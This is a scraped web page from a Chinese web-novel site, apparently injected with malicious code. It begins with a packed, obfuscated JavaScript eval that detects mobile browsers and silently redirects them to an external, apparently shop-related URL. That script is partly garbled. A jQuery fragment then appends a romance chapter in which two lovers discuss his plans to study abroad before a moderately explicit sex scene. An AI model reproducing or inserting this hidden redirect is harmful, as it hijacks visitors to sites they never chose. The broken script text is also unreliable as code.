;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404031|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何筱舟走在路内侧,经过垃圾桶时,顺手把喝空的塑杯丢进去,问李既白要他的,连叫好几声都没反应。 她探过身,从他手中直接抽走。 男生明显不对劲。 神色恍惚,随即展露的笑意也有些勉强。 何筱舟屈指弹他的脸颊,问:“你怎么了?是不是要回去上班了?没关系啊,不用一直陪我的。” 李既白压下适才的异样感,回说:“我辞职了。” “啊?” 何筱舟很惊讶。 她关注了他的视频账号,知道他近期一直待在南岸,便先入为主地以为他彻底离开了津海,未来大概率常驻南岸。 最近天天腻在一起,她沉浸其中,没过多问及他的现状,只以为他是请假了。 何筱舟拉他拐进后院的凉棚,按他坐在躺椅上,斜倚桌沿,“等等,我觉得我们需要对齐一下。” 李既白详细说了说分开后的经历,包括他在德国期间的工作内容,具体的回国时间,如何决定离开穹宇,又怎么一步步申请TUM的硕士。 何筱舟没预料到会是这样,犹疑地问:“所以,你现在是在等offer?” “嗯。” 李既白观察着她的神色,试图从中找到一点点不舍。但她的表情是一贯的淡然,除些许惊诧外,毫无破绽,平静到像是听说了一件无关紧要的事。 没有其他人在,这片静谧的空间里,一时只剩下清灵虫鸣和不远处海浪击岸的声音。 最后是何筱舟率先打破沉默,浅笑着岔开话头。 “我记得,我好像问过你一个问题。” “什么?” “可不可以在躺椅上和你接吻。” 当然记得,还是最初那场旅途结束后的事。 那时他有些介怀她的不辞而别,曾在电话里邀请她来南岸,只是他绝对不会想到,会有这么一天。 而他们此时在此地的相拥,又是那样来之不易。 李既白嗓子发紧,揽她的腰,扶她坐于他的腿上,“筱筱,我也不是一定要去读……” 何筱舟唇角一僵,随即又展笑,疾疾出声打断他,“你那时候说不能。” “现在呢,要不要重新回答一次?” 李既白长久地注视着她,仰头直接封堵她的唇。 不知是否因为刚才的小插曲,两人都没有完全投入,像真的只是在作答一样,这次亲吻非常公式化。 李既白轻吮着她的舌尖,掀眼看她微蹙的眉。 什么该死的贝斯,什么该死的出国,现在她就在他身边,在他眼前呢。 他们不曾深入地谈及未来,好像摆在眼前的,只有单纯爱或不爱的问题。 但在这个夜晚,他和她用回避的态度、互相交融的身体,在心底洞见了有关于彼此的期许。 何筱舟数次绞紧他,攀缠他。 最后时刻,因他而紧缩、颤栗的时刻,她想,真正的分离来临前,她要认真记住每一次这样极致的感受。 李既白被她吞噬,深陷于她。 恨不能和她融为一体的时候,他想,以后可以和她在一起就好了,其他什么都不重要。